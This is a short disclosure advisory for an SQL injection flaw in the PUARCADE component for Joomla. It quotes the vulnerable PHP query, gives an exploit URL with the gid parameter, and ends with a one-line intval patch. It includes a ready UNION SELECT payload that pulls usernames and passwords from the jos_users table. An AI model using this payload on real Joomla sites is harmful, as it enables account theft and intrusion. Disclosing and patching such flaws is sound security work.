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Pu Arcade component for Joomla - SQL injection



I discovered a vulnerability in Component PUARCADE for joomla (the last version 
is vulnerable) .

SQL Injection vulnerability in puarcade.class.php <= V. 2.2 , component for 
JOOMLA .
--------------------------------------------------------------------------------------------------------------------------

Author : MantiS
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Vulnerable code :
------------------------
function warningByGame($gid) {
        global $database;
        
        $query = "SELECT c.id, c.name, c.description, c.warningrequired, 
c.imagename FROM #__puarcade_games as g, #__puarcade_contentrating as c"
                  . " WHERE g.contentratingid = c.id"
                  . " AND g.id = $gid";
        $database->setQuery($query);
        $cont = $database->loadObjectList();
--------------------------

Exploit : 
http://website.com/joomla_path/index.php?option=com_puarcade&Itemid=1&gid=[SQL 
INJECTION]
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Can be exploited with a "0 UNION SELECT password,username,0,0,0 from 
jos_users--" (5 columns) .

Patch :
--------
Place before "$query = "SELECT c.id......... " :
$gid = intval($_GET['gid']);
To force $gid variable conversion at an integer .